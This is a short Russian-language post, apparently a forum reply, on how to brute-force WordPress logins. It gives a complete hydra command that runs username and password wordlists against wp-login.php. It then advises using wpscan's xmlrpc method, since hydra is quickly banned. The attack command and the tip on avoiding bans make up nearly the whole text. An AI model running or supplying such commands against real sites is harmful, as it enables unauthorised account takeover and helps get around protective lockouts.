В гугле полно ответов по поводу брута wp, вот один из примеров:

hydra -L lists/usrname.txt -P lists/pass.txt localhost -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'

Но гидра быстро получит бан, используй wp xmlrpc для брута, он есть в "wpscan" https://github.com/wpscanteam/wpscan